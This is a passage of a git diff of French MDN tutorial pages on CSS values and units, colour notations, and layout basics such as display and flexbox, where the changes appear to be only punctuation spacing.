beaucoup plus étroit que l'autre ! **Essayez de modifier la largeur du bloc englobant ou la valeur du pourcentage pour voir comment cela fonctionne.** @@ -168,7 +168,7 @@ Certains types de valeur acceptent des nombres, sans unité. Une telle propriét Il existe de nombreuses façons d'utiliser des couleurs en CSS, certaines ayant été plus récemment implémentées que d'autres. Les mêmes valeurs de couleur peuvent être utilisées n'importe où en CSS, qu'il s'agisse d'une couleur pour du texte, d'une couleur d'arrière-plan ou de toute autre couleur. -Le système standard de couleurs disponible pour les ordinateurs modernes utilise 24 bits, ce qui permet d'afficher 16,7 millions de couleurs différentes par des combinaisons de canaux rouge, vert et bleu dont chacun peut avoir 256 valeurs distinctes (256 x 256 x 256 = 16 777 216). Voyons quelques façons d'indiquer des couleurs en CSS. +Le système standard de couleurs disponible pour les ordinateurs modernes utilise 24 bits, ce qui permet d'afficher 16,7 millions de couleurs différentes par des combinaisons de canaux rouge, vert et bleu dont chacun peut avoir 256 valeurs distinctes (256 x 256 x 256 = 16 777 216). Voyons quelques façons d'indiquer des couleurs en CSS. > **Note :** Dans ce tutoriel, nous verrons les méthodes communément utilisées pour définir les couleurs et qui disposent d'une bonne prise en charge des navigateurs. Il en existe d'autres, mais elles sont moins bien prises en charge et sont moins fréquentes. @@ -180,7 +180,7 @@ Dans la plupart des exemples de cette section d'apprentissage ou à d'autres end ### Valeurs RGB hexadécimales -Les autres valeurs de couleur que vous rencontrerez assez souvent sont celles représentées avec des codes hexadécimaux. Chaque valeur hexadécimale se compose d'un croisillon (#) suivi de six chiffres hexadécimaux dont chacun peut prendre une valeur parmi 16 : de 0 à f (la lettre utilisée pour représentée 15) (les chiffres hexadécimaux sont : `0123456789abcdef`). Dans ces six chiffres, chaque paire de chiffre représente la valeur pour l'un des canaux de couleurs (rouge, vert et bleu) et permet d'indiquer l'une des 256 valeurs disponibles. +Les autres valeurs de couleur que vous rencontrerez assez souvent sont celles représentées avec des codes hexadécimaux. Chaque valeur hexadécimale se compose d'un croisillon (#) suivi de six chiffres hexadécimaux dont chacun peut prendre une valeur parmi 16 : de 0 à f (la lettre utilisée pour représentée 15) (les chiffres hexadécimaux sont : `0123456789abcdef`). Dans ces six chiffres, chaque paire de chiffre représente la valeur pour l'un des canaux de couleurs (rouge, vert et bleu) et permet d'indiquer l'une des 256 valeurs disponibles. Ces valeurs sont un peu plus complexes et moins faciles à comprendre, mais elles permettent d'exprimer beaucoup plus de couleurs que les mots-clés. Vous pouvez utiliser les valeurs hexadécimales pour représenter n'importe quelle couleur dans votre palette. @@ -190,17 +190,17 @@ Ces valeurs sont un peu plus complexes et moins faciles à comprendre, mais elle ### Les valeurs RGB et RGBA -La troisième façon que nous aborderons ici est RGB (pour « <i lang="en">Red, Green, Blue</i> » soit : rouge, vert, bleu en français). Une valeur RGB est une fonction `rgb()` à laquelle on passe trois paramètres qui représentent respectivement les valeurs des canaux rouge, vert, bleu (de la même façon que pour les valeurs hexadécimales). Contrairement aux valeurs hexadécimales, les valeurs des composantes ne sont pas exprimées en hexadécimal (avec des chiffres de 0 à f) mais avec un nombre décimal compris entre 0 et 255. Cela rend la compréhension de la valeur plus simple. +La troisième façon que nous aborderons ici est RGB (pour « <i lang="en">Red, Green, Blue</i> » soit : rouge, vert, bleu en français). Une valeur RGB est une fonction `rgb()` à laquelle on passe trois paramètres qui représentent respectivement les valeurs des canaux rouge, vert, bleu (de la même façon que pour les valeurs hexadécimales). Contrairement aux valeurs hexadécimales, les valeurs des composantes ne sont pas exprimées en hexadécimal (avec des chiffres de 0 à f) mais avec un nombre décimal compris entre 0 et 255. Cela rend la compréhension de la valeur plus simple. -Réécrivons notre dernier exemple afin d'utiliser les couleurs RGB : +Réécrivons notre dernier exemple afin d'utiliser les couleurs RGB : {{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} -Il est aussi possible d'utiliser des couleurs RGBA : celles-ci fonctionnent exactement comme les couleurs RGB (et il est donc possible d'utiliser n'importe quelle valeur RGB pour une valeur RGBA). Toutefois, les valeurs RGBA utilisent une quatrième valeur qui représente le canal alpha de la couleur qui contrôle son opacité. Avec une valeur de `0` pour le canal alpha, la couleur sera complètement transparente tandis qu'avec `1`, elle sera complètement opaque. Les valeurs intermédiaires fourniront des niveaux progressifs d'opacité. +Il est aussi possible d'utiliser des couleurs RGBA : celles-ci fonctionnent exactement comme les couleurs RGB (et il est donc possible d'utiliser n'importe quelle valeur RGB pour une valeur RGBA). Toutefois, les valeurs RGBA utilisent une quatrième valeur qui représente le canal alpha de la couleur qui contrôle son opacité. Avec une valeur de `0` pour le canal alpha, la couleur sera complètement transparente tandis qu'avec `1`, elle sera complètement opaque. Les valeurs intermédiaires fourniront des niveaux progressifs d'opacité. > **Note :** Définir un canal alpha sur une couleur n'est pas exactement la même chose qu'utiliser la propriété [`opacity`](/fr/docs/Web/CSS/opacity) dont nous avons parlé auparavant. Lorsqu'on utilise `opacity`, c'est tout l'élément et ce qu'il contient qui devient plus ou moins opaque/transparent alors que lorsqu'on définit une couleur RGBA, seule la couleur est plus ou moins opaque. -Dans l'exemple qui suit, on a ajouté une image d'arrière-plan au bloc englobant les boîtes colorées. On a ensuite réglé différentes valeurs d'opacité pour les différentes boîtes : vous pouvez voir comment l'arrière-plan est de plus en plus visible au fur et à mesure que la valeur du canal alpha est faible. +Dans l'exemple qui suit, on a ajouté une image d'arrière-plan au bloc englobant les boîtes colorées. On a ensuite réglé différentes valeurs d'opacité pour les différentes boîtes : vous pouvez voir comment l'arrière-plan est de plus en plus visible au fur et à mesure que la valeur du canal alpha est faible. {{EmbedGHLiveSample("css-examples/learn/values-units/color-rgba.html", '100%', 770)}} @@ -210,13 +210,13 @@ Dans l'exemple qui suit, on a ajouté une image d'arrière-plan au bloc engloban ### Valeurs HSL et HSLA -Avec une prise en charge légèrement plus faible que RGB, on a le modèle de couleurs HSL (non pris en charge pour d'anciennes versions d'Internet Explorer) qui a été implémentée après un intérêt marqué de la part des designers. Plutôt que d'indiquer des valeurs pour les canaux rouge, vert, bleu, la fonction `hsl()` prend des paramètres pour la teinte (<i lang="en">hue</i> en anglais), la saturation et la luminosité. Cela permet aussi d'obtenir 16,7 millions de couleurs mais différemment : +Avec une prise en charge légèrement plus faible que RGB, on a le modèle de couleurs HSL (non pris en charge pour d'anciennes versions d'Internet Explorer) qui a été implémentée après un intérêt marqué de la part des designers. Plutôt que d'indiquer des valeurs pour les canaux rouge, vert, bleu, la fonction `hsl()` prend des paramètres pour la teinte (<i lang="en">hue</i> en anglais), la saturation et la luminosité. Cela permet aussi d'obtenir 16,7 millions de couleurs mais différemment : -- **Teinte (<i lang="en">hue</i>)** : La couleur de base. La valeur utilisée est comprise entre 0 et 360 et représente l'angle sur une roue de couleurs. -- **Saturation** : La saturation de la couleur. La valeur est comprise entre 0 et 100% où 0 indique qu'il n'y a pas de couleur (ce sera une nuance de gris) et où 100% indique une saturation en couleur complète. -- **Luminosité** : La clarté ou la luminosité de la couleur. La valeur est comprise entre 0 et 100%, où 0 indique qu'il n'y a pas de luminosité (la couleur sera complètement noire) et où 100% indique une lumière pure (la couleur sera complètement blanche). +- **Teinte (<i lang="en">hue</i>)** : La couleur de base. La valeur utilisée est comprise entre 0 et 360 et représente l'angle sur une roue de couleurs. +- **Saturation** : La saturation de la couleur. La valeur est comprise entre 0 et 100% où 0 indique qu'il n'y a pas de couleur (ce sera une nuance de gris) et où 100% indique une saturation en couleur complète. +- **Luminosité** : La clarté ou la luminosité de la couleur. La valeur est comprise entre 0 et 100%, où 0 indique qu'il n'y a pas de luminosité (la couleur sera complètement noire) et où 100% indique une lumière pure (la couleur sera complètement blanche). -On peut mettre à jour notre exemple RGB afin d'utiliser les couleurs HSL : +On peut mettre à jour notre exemple RGB afin d'utiliser les couleurs HSL : {{EmbedGHLiveSample("css-examples/learn/values-units/color-hsl.html", '100%', 700)}} @@ -224,7 +224,7 @@ On peut mettre à jour notre exemple RGB afin d'utiliser les couleurs HSL : {{EmbedGHLiveSample("css-examples/learn/values-units/color-hsla.html", '100%', 770)}} -Vous pouvez utiliser n'importe laquelle de ces couleurs dans vos projets et il est probable que, pour la plupart des projets, vous décidiez d'une palette de couleurs pour vous limiter à elles dans un souci de cohérence, de même pour la méthode utilisée pour définir les couleurs. Vous pouvez bien entendu mélanger les différents modèles de définition des couleurs, mais il est souvent mieux d'être cohérent et d'en fixer un seul pour un même projet ! +Vous pouvez utiliser n'importe laquelle de ces couleurs dans vos projets et il est probable que, pour la plupart des projets, vous décidiez d'une palette de couleurs pour vous limiter à elles dans un souci de cohérence, de même pour la méthode utilisée pour définir les couleurs. Vous pouvez bien entendu mélanger les différents modèles de définition des couleurs, mais il est souvent mieux d'être cohérent et d'en fixer un seul pour un même projet ! ## Images @@ -240,7 +240,7 @@ Voici un exemple où on utilise une image et un dégradé pour la propriété CS Le type de valeur [`<position>`](/fr/docs/Web/CSS/position_value) représente un ensemble de coordonnées sur deux dimensions, utilisé pour positionner un objet comme une image d'arrière-plan (via [`background-position`](/fr/docs/Web/CSS/background-position)). Ces valeurs peuvent être indiquées avec des mots-clés comme `top`, `left`, `bottom`, `right`, et `center` afin d'aligner les objets sur les bords d'une boîte en deux dimensions et avec des longueurs qui représentent les décalages par rapport au coin supérieur gauche de la boîte. -Une position se compose généralement de deux valeurs : la première indiquant la position horizontale et la seconde indiquant la position verticale. Si une seule valeur est fournie, l'autre valeur sera `center` par défaut. +Une position se compose généralement de deux valeurs : la première indiquant la position horizontale et la seconde indiquant la position verticale. Si une seule valeur est fournie, l'autre valeur sera `center` par défaut. Dans l'exemple suivant, on a positionné une image d'arrière-plan à 40px du bord haut et vers la droite du conteneur en utilisant un mot-clé. @@ -250,7 +250,7 @@ Dans l'exemple suivant, on a positionné une image d'arrière-plan à 40px du bo ## Chaînes de caractères et identifiants -Dans les différents exemples qui précèdent, on a vu des endroits où les mots-clés sont utilisés comme valeur (par exemple `<color>` qui peut utiliser des mots-clés comme `red`, `black`, `rebeccapurple`, et `goldenrod`). Si on veut être plus précis, on dira que ces mots-clés sont des _identifiants_, une valeur spéciale comprise par le moteur CSS. Ces identifiants n'ont pas besoin d'être délimités par des guillemets/quotes : ce ne sont pas des chaînes de caractères. +Dans les différents exemples qui précèdent, on a vu des endroits où les mots-clés sont utilisés comme valeur (par exemple `<color>` qui peut utiliser des mots-clés comme `red`, `black`, `rebeccapurple`, et `goldenrod`). Si on veut être plus précis, on dira que ces mots-clés sont des _identifiants_, une valeur spéciale comprise par le moteur CSS. Ces identifiants n'ont pas besoin d'être délimités par des guillemets/quotes : ce ne sont pas des chaînes de caractères. À d'autres endroits en CSS, on utilise des chaînes de caractères, comme [lorsqu'on définit du contenu généré](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements#generating_content_with_before_and_after). Dans ces cas, la valeur est délimitée par des quotes (" ou ') pour indiquer qu'il s'agit bien d'une chaîne de caractères. Dans l'exemple qui suit, on utilise des mots-clés de couleur (des identifiants sans quote) ainsi qu'une chaîne de caractères pour du contenu généré. @@ -258,17 +258,17 @@ Dans les différents exemples qui précèdent, on a vu des endroits où les mots ## Functions -Les dernières valeurs que nous verrons ici sont les fonctions. En programmation, une fonction est une section de code réutilisable qui peut être exécutée plusieurs fois afin de réaliser une tâche de façon répétitive avec le minimum effort de la part du développeur ou de l'ordinateur. Les fonctions sont généralement associées à des langages comme JavaScript, Python ou C++ mais elles existent en CSS également pour être utilisées comme valeurs de propriétés. En fait, nous avons déjà vu des fonctions dans la section à propos des couleurs : `rgb()`, `hsl()`, etc. La valeur utilisée pour récupérer une image à partir d'un fichier, `url()` est également une fonction. +Les dernières valeurs que nous verrons ici sont les fonctions. En programmation, une fonction est une section de code réutilisable qui peut être exécutée plusieurs fois afin de réaliser une tâche de façon répétitive avec le minimum effort de la part du développeur ou de l'ordinateur. Les fonctions sont généralement associées à des langages comme JavaScript, Python ou C++ mais elles existent en CSS également pour être utilisées comme valeurs de propriétés. En fait, nous avons déjà vu des fonctions dans la section à propos des couleurs : `rgb()`, `hsl()`, etc. La valeur utilisée pour récupérer une image à partir d'un fichier, `url()` est également une fonction. Une fonction qui est peut-être plus proche des langages de programmation traditionnels est la fonction CSS `calc()`. Cette fonction permet de réaliser des calculs simples à l'intérieur du code CSS. Elle s'avère particulièrement utile pour déterminer des valeurs qui ne sont pas connues d'avance lorsqu'on écrit la feuille de style CSS et pour lesquelles ce sera le navigateur qui pourra les déterminer lors de l'exécution. -Dans le prochain exemple, on utilise `calc()` afin que la boîte soit large de `20% + 100px`. Les 20% sont calculés à partir de la largeur du conteneur parent : `.wrapper` et changeront donc lorsque la largeur du parent changera. Ce calcul ne peut pas être effectué au préalable, car on ne peut pas savoir à l'avance ce que représenteront ces 20%. Aussi, on utilise `calc()` pour indiquer au navigateur de réaliser ce calcul. +Dans le prochain exemple, on utilise `calc()` afin que la boîte soit large de `20% + 100px`. Les 20% sont calculés à partir de la largeur du conteneur parent : `.wrapper` et changeront donc lorsque la largeur du parent changera. Ce calcul ne peut pas être effectué au préalable, car on ne peut pas savoir à l'avance ce que représenteront ces 20%. Aussi, on utilise `calc()` pour indiquer au navigateur de réaliser ce calcul. {{EmbedGHLiveSample("css-examples/learn/values-units/calc.html", '100%', 450)}} -## Testez vos compétences ! +## Testez vos compétences ! -Nous avons abordé de nombreuses notions dans cet article. Avez-vous retenu les informations essentielles ? Vous pourrez trouver différents exercices pour vérifier que vous avez retenu les bonnes informations avant de poursuivre : rendez-vous sur [Testez vos compétences : valeurs et unités CSS](/fr/docs/Learn/CSS/Building_blocks/Values_tasks). +Nous avons abordé de nombreuses notions dans cet article. Avez-vous retenu les informations essentielles ? Vous pourrez trouver différents exercices pour vérifier que vous avez retenu les bonnes informations avant de poursuivre : rendez-vous sur [Testez vos compétences : valeurs et unités CSS](/fr/docs/Learn/CSS/Building_blocks/Values_tasks). ## Résumé diff --git a/files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.md b/files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.md index aada82d606..3c9dc41735 100644 --- a/files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.md +++ b/files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.md @@ -6,7 +6,7 @@ original_slug: Apprendre/CSS/CSS_layout/Fundamental_Layout_Comprehension --- {{LearnSidebar}} -Si vous avez travaillé sur ce module, vous aurez déjà couvert les bases de ce que vous devez savoir pour faire la mise en forme CSS aujourd'hui, et pour travailler avec les anciennes CSS également. Cette tâche testera certaines de vos connaissances en développant une mise en page simple en utilisant diverses techniques. +Si vous avez travaillé sur ce module, vous aurez déjà couvert les bases de ce que vous devez savoir pour faire la mise en forme CSS aujourd'hui, et pour travailler avec les anciennes CSS également. Cette tâche testera certaines de vos connaissances en développant une mise en page simple en utilisant diverses techniques. <table class="standard-table"> <tbody> @@ -35,9 +35,9 @@ Vous avez reçu du HTML brut, du CSS de base et des images - vous devez maintena ### configuration de base -Vous pouvez télécharger le code HTML, CSS et un ensemble de six images [ici](https://github.com/mdn/learning-area/tree/master/css/css-layout/fundamental-layout-comprehension) . +Vous pouvez télécharger le code HTML, CSS et un ensemble de six images [ici](https://github.com/mdn/learning-area/tree/master/css/css-layout/fundamental-layout-comprehension) . -Enregistrez le document HTML et la feuille de style dans un répertoire de votre ordinateur, puis ajoutez les images dans un dossier nommé `images`. Ouvrir le `index.html`fichier dans un navigateur devrait vous donner une page avec un style de base mais pas de mise en page, ce qui devrait ressembler à l'image ci-dessous. +Enregistrez le document HTML et la feuille de style dans un répertoire de votre ordinateur, puis ajoutez les images dans un dossier nommé `images`. Ouvrir le `index.html`fichier dans un navigateur devrait vous donner une page avec un style de base mais pas de mise en page, ce qui devrait ressembler à l'image ci-dessous. Ce point de départ contient tout le contenu de votre mise en page, tel qu’il est affiché par le navigateur dans un flux normal. @@ -45,12 +45,12 @@ Ce point de départ contient tout le contenu de votre mise en page, tel qu’il ### Votre section de tâches -Vous devez maintenant implémenter votre mise en page. Les tâches que vous devez accomplir sont: +Vous devez maintenant implémenter votre mise en page. Les tâches que vous devez accomplir sont: 1. Pour afficher les éléments de navigation dans une ligne, avec un espace égal entre les éléments. 2. La barre de navigation doit défiler avec le contenu, puis rester bloquée en haut de la fenêtre d’affichage quand elle l’atteint. 3. L'image qui se trouve à l'intérieur de l'article doit être entourée de texte. -4. Les éléments [`<article>`](/fr/docs/Web/HTML/Element/article)et [`<aside>`](/fr/docs/Web/HTML/Element/aside)doivent s'afficher sous la forme d'une disposition à deux colonnes. La taille des colonnes doit être flexible de sorte que, si la fenêtre du navigateur est réduite, les colonnes deviennent plus étroites. +4. Les éléments [`<article>`](/fr/docs/Web/HTML/Element/article)et [`<aside>`](/fr/docs/Web/HTML/Element/aside)doivent s'afficher sous la forme d'une disposition à deux colonnes. La taille des colonnes doit être flexible de sorte que, si la fenêtre du navigateur est réduite, les colonnes deviennent plus étroites. 5. Les photographies doivent s’afficher sous forme de grille à deux colonnes avec un intervalle de 1 pixel entre les images. Vous n'aurez pas besoin de modifier le code HTML pour obtenir cette présentation. Les techniques à utiliser sont les suivantes: @@ -60,11 +60,11 @@ Vous n'aurez pas besoin de modifier le code HTML pour obtenir cette présentatio - Flexbox - CSS Grid Layout -Vous pouvez réaliser certaines de ces tâches de plusieurs manières et il n’existe souvent pas de bonne ou de mauvaise façon de faire les choses. Essayez différentes approches et voyez laquelle fonctionne le mieux. Prenez des notes pendant que vous expérimentez et vous pourrez toujours discuter de votre approche dans le fil de discussion de cet exercice ou dans le [canal](irc://irc.mozilla.org/mdn) IRC [#mdn](irc://irc.mozilla.org/mdn) . +Vous pouvez réaliser certaines de ces tâches de plusieurs manières et il n’existe souvent pas de bonne ou de mauvaise façon de faire les choses. Essayez différentes approches et voyez laquelle fonctionne le mieux. Prenez des notes pendant que vous expérimentez et vous pourrez toujours discuter de votre approche dans le fil de discussion de cet exercice ou dans le [canal](irc://irc.mozilla.org/mdn) IRC [#mdn](irc://irc.mozilla.org/mdn) . ## Evaluation -Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en vous renseignant sur le [fil de discussion relatif à cet exercice](https://discourse.mozilla.org/t/fundamental-layout-comprehension-assessment/29982) ou sur le [canal](irc://irc.mozilla.org/mdn) IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC) . Essayez d’abord l’exercice - il n’ya aucun avantage à tricher! +Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en vous renseignant sur le [fil de discussion relatif à cet exercice](https://discourse.mozilla.org/t/fundamental-layout-comprehension-assessment/29982) ou sur le [canal](irc://irc.mozilla.org/mdn) IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC) . Essayez d’abord l’exercice - il n’ya aucun avantage à tricher! ## Dans ce module Section diff --git a/files/fr/learn/css/css_layout/index.md b/files/fr/learn/css/css_layout/index.md index 5a8db10ccf..d5aa4da568 100644 --- a/files/fr/learn/css/css_layout/index.md +++ b/files/fr/learn/css/css_layout/index.md @@ -22,11 +22,11 @@ original_slug: Apprendre/CSS/CSS_layout --- {{LearnSidebar}} -À ce stade, les principes fondamentaux du CSS ont été vus : comment composer le texte et comment mettre en forme et manipuler les boîtes dans lesquelles se trouve votre contenu. Il est maintenant temps de regarder comment placer vos boîtes au bon endroit dans la vue et par rapport aux autres boîtes. Les prérequis nécessaires ont été examinés, nous pouvons maintenant nous plonger profondément dans la mise en page avec CSS, en regardant les différents paramètres d'affichage, les outils modernes tels que « flexbox », les grilles CSS et le positionnement, ainsi que quelques méthodes traditionnelles qu'il est encore bon de connaître. +À ce stade, les principes fondamentaux du CSS ont été vus : comment composer le texte et comment mettre en forme et manipuler les boîtes dans lesquelles se trouve votre contenu. Il est maintenant temps de regarder comment placer vos boîtes au bon endroit dans la vue et par rapport aux autres boîtes. Les prérequis nécessaires ont été examinés, nous pouvons maintenant nous plonger profondément dans la mise en page avec CSS, en regardant les différents paramètres d'affichage, les outils modernes tels que « flexbox », les grilles CSS et le positionnement, ainsi que quelques méthodes traditionnelles qu'il est encore bon de connaître. > **Remarque :** > -> Vous cherchez à devenir développeuse ou développeur web front-end ? +> Vous cherchez à devenir développeuse ou développeur web front-end ? > > Nous avons élaboré un cours qui comprend toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif. > diff --git a/files/fr/learn/css/css_layout/introduction/index.md b/files/fr/learn/css/css_layout/introduction/index.md index 9edb2531f8..be69dc0ce5 100644 --- a/files/fr/learn/css/css_layout/introduction/index.md +++ b/files/fr/learn/css/css_layout/introduction/index.md @@ -24,7 +24,7 @@ Cet article récapitule quelques fonctionnalités de mise en page CSS que l'on a <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Les fondamentaux du HTML (étudiez <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML" @@ -35,7 +35,7 @@ Cet article récapitule quelques fonctionnalités de mise en page CSS que l'on a </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Vous donner un aperçu des techniques de mise en page des CSS. Chaque technique peut être apprise plus précisément dans des tutoriels dédiés. @@ -70,30 +70,30 @@ Le cours normal est la manière dont le navigateur présente les pages HTML par <li>Haut les cœurs, ami</li> </ul> -<p>La fin !</p> +<p>La fin !</p> ``` -Par défaut, le navigateur affichera ce code ainsi : +Par défaut, le navigateur affichera ce code ainsi : {{ EmbedLiveSample('Cours_normal', '100%', 200) }} -Notez que le HTML est affiché dans l'ordre exact où il est dans le code source : les éléments s'empilent les uns sur les autres — le premier paragraphe, puis la liste non ordonnée suivie par le second paragraphe. +Notez que le HTML est affiché dans l'ordre exact où il est dans le code source : les éléments s'empilent les uns sur les autres — le premier paragraphe, puis la liste non ordonnée suivie par le second paragraphe. Les éléments disposés en empilement sont désignés comme étant des éléments _blocs_, par opposition aux éléments _en ligne_ qui apparaissent l'un après l'autre telle la succession de mots distincts d'un paragraphe. -> **Note :** « Block Direction » (Sens d'empilement) définit le sens dans lequel les éléments blocs sont disposés. Le sens d'empilement est vertical pour une langue comme l'anglais dont le mode d'écriture est horizontal. Ce sens sera horizontal pour toute langue avec un mode d'écriture vertical, comme le japonais. La « Inline Direction » (sens d'écriture) correspond à celle dont les contenus en ligne (comme une phrase) sont disposés. +> **Note :** « Block Direction » (Sens d'empilement) définit le sens dans lequel les éléments blocs sont disposés. Le sens d'empilement est vertical pour une langue comme l'anglais dont le mode d'écriture est horizontal. Ce sens sera horizontal pour toute langue avec un mode d'écriture vertical, comme le japonais. La « Inline Direction » (sens d'écriture) correspond à celle dont les contenus en ligne (comme une phrase) sont disposés. -Lorsque vous utilisez les CSS pour faire une mise en page, vous déplacez les éléments de leur cours normal ; toutefois, pour la plupart des éléments de la page, ce cours normal crée exactement la mise en page dont vous avez besoin. C'est pourquoi il est si important de commencer avec un document HTML bien structuré, car vous pouvez alors travailler la façon dont les choses seront disposées par défaut au lieu de lutter contre cette disposition. +Lorsque vous utilisez les CSS pour faire une mise en page, vous déplacez les éléments de leur cours normal ; toutefois, pour la plupart des éléments de la page, ce cours normal crée exactement la mise en page dont vous avez besoin. C'est pourquoi il est si important de commencer avec un document HTML bien structuré, car vous pouvez alors travailler la façon dont les choses seront disposées par défaut au lieu de lutter contre cette disposition. Les méthodes des CSS pouvant changer le placement des éléments sont les suivantes : - **La propriété {{cssxref("display")}}** — les valeurs standards comme `block`, `inline` ou `inline-block` peuvent changer la manière dont l'élément se comporte dans le cours normal (voir [Types de boîtes](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#Les_types_de_bo%C3%AEte) pour plus d'informations). Ensuite, nous disposons de méthodes de mise en page autonomes activées par l'intermédiaire d'une valeur de `display`, par exemple les [Grilles CSS](/fr/docs/Learn/CSS/CSS_layout/Grids) ou [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox). -- **Flotteurs** — appliquer à {{cssxref("float")}} une valeur comme `left` peut créer une juxtaposition d'un élément bloc à côté d'un autre, tout comme les images « baignent » dans le texte dans les mises en page de magazines. +- **Flotteurs** — appliquer à {{cssxref("float")}} une valeur comme `left` peut créer une juxtaposition d'un élément bloc à côté d'un autre, tout comme les images « baignent » dans le texte dans les mises en page de magazines. - **La propriété {{cssxref("position")}}** — vous permet de contrôler avec précision le placement de boîtes dans d'autres boîtes. `static` est le placement par défaut dans le cours, mais vous pouvez manipuler les éléments pour qu'ils se comportent différemment à l'aide d'autres valeurs, par exemple en les fixant en haut à gauche de la fenêtre d'affichage du navigateur. - **Mise en page de tableaux** — les fonctions conçues pour styliser les parties d'un tableau HTML peuvent être utilisées sur des éléments non tableau en utilisant `display: table` et les propriétés associées. - **Mise en page sur plusieurs colonnes** — Les propriétés [Multi-column](/fr/docs/Web/CSS/CSS_Columns) peuvent faire qu'un contenu bloc soit disposé en colonnes, comme dans un journal. -## La propriété « display » +## La propriété « display » Les principales modalités de mise en page avec les CSS relèvent toutes des valeurs de la propriété `display`. Cette propriété permet de modifier l'affichage par défaut des éléments. Chaque chose dans le cours normal a une valeur de propriété `display`. Les éléments se règlent sur cette valeur pour définir leur comportement par défaut. Par exemple, le fait que des paragraphes en langue anglaise se placent les uns au dessus des autres provient du fait que leur style est `display: block`. Si vous créez un lien sur un texte à l'intérieur d'un paragraphe, ce lien reste aligné avec le reste du texte et ne s'affiche pas sur une nouvelle ligne. C'est parce que l'élément {{htmlelement("a")}} est `display: inline` par défaut. @@ -103,13 +103,13 @@ En plus de pouvoir changer la présentation par défaut en faisant passer un él ## Flexbox -Flexbox est l'abréviation pour [Flexible Box Layout](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout) Module (Mise en page de boîtes modulaires), conçu pour faciliter une disposition alignée sur une dimension — soit en ligne, soit en colonne. Pour utiliser `flexbox`, appliquez `display: flex` à l'élément parent des éléments à placer ; tous ses enfants directs deviennent alors des éléments `flex`. Voyons cela avec un simple exemple. +Flexbox est l'abréviation pour [Flexible Box Layout](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout) Module (Mise en page de boîtes modulaires), conçu pour faciliter une disposition alignée sur une dimension — soit en ligne, soit en colonne. Pour utiliser `flexbox`, appliquez `display: flex` à l'élément parent des éléments à placer ; tous ses enfants directs deviennent alors des éléments `flex`. Voyons cela avec un simple exemple. Le balisage HTML ci-dessous crée un élément conteneur de la classe `wrapper`, dans lequel nous plaçons 3 éléments {{htmlelement("div")}}. Par défaut ces éléments s'afficheront en tant qu'éléments blocs, les uns sous les autres, dans ce document en langue française. ### Utiliser display: flex -Mais nous ajoutons `display: flex` sur le parent ; les trois éléments se placent maintenant côte à côte. Cela provient du fait qu'ils sont devenus des _éléments flex_ et qu'ils utilisent les valeurs initiales données par flexbox. Ils sont disposés alignés, car la valeur initiale de {{cssxref("flex-direction")}} est `row`. Ils apparaissent serrés au haut de l'élément le plus haut, car la valeur initiale de la propriété {{cssxref("align-items")}} est `stretch`. Ce qui signifie que les éléments se casent dans la hauteur du conteneur `flex` défini dans ce cas par l'élément le plus grand. Les éléments s'alignent à partir de l'origine du conteneur à la fin sans laisser d'espace. +Mais nous ajoutons `display: flex` sur le parent ; les trois éléments se placent maintenant côte à côte. Cela provient du fait qu'ils sont devenus des _éléments flex_ et qu'ils utilisent les valeurs initiales données par flexbox. Ils sont disposés alignés, car la valeur initiale de {{cssxref("flex-direction")}} est `row`. Ils apparaissent serrés au haut de l'élément le plus haut, car la valeur initiale de la propriété {{cssxref("align-items")}} est `stretch`. Ce qui signifie que les éléments se casent dans la hauteur du conteneur `flex` défini dans ce cas par l'élément le plus grand. Les éléments s'alignent à partir de l'origine du conteneur à la fin sans laisser d'espace. ```css hidden * {box-sizing: border-box;} @@ -142,7 +142,7 @@ Mais nous ajoutons `display: flex` sur le parent ; les trois éléments se pla En plus des propriétés ci-dessus applicables au conteneur `flex`, il existe des propriétés applicables aux éléments flex. Ces propriétés, entre autres choses, peuvent changer le mode d'adaptation des éléments, leur permettant de s'étaler et de se resserrer pour s'adapter à l'espace disponible. -À titre d'exemple, nous pouvons donner la valeur `1` à la propriété {{cssxref("flex")}} des éléments enfants. Tous les éléments vont grandir jusqu'à remplir le conteneur, au lieu de laisser de l'espace à la suite. S'il y a assez d'espace, les éléments vont devenir plus larges ; s'il y en a moins ils vont devenir plus étroits. En outre, si vous ajoutez un autre élément au balisage, les éléments vont rapetisser pour lui faire de la place — ils ajusteront leur taille pour prendre la même quantité d'espace, quel qu'il soit. +À titre d'exemple, nous pouvons donner la valeur `1` à la propriété {{cssxref("flex")}} des éléments enfants. Tous les éléments vont grandir jusqu'à remplir le conteneur, au lieu de laisser de l'espace à la suite. S'il y a assez d'espace, les éléments vont devenir plus larges ; s'il y en a moins ils vont devenir plus étroits. En outre, si vous ajoutez un autre élément au balisage, les éléments vont rapetisser pour lui faire de la place — ils ajusteront leur taille pour prendre la même quantité d'espace, quel qu'il soit. ```css hidden * {box-sizing: border-box;} @@ -175,13 +175,13 @@ En plus des propriétés ci-dessus applicables au conteneur `flex`, il existe de {{ EmbedLiveSample('Définir_la_propriété_flex', '300', '200') }} -> **Note :** Ce n'est qu'une très brève introduction aux possibilités de Flexbox : pour en apprendre plus, voyez notre article sur [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox). +> **Note :** Ce n'est 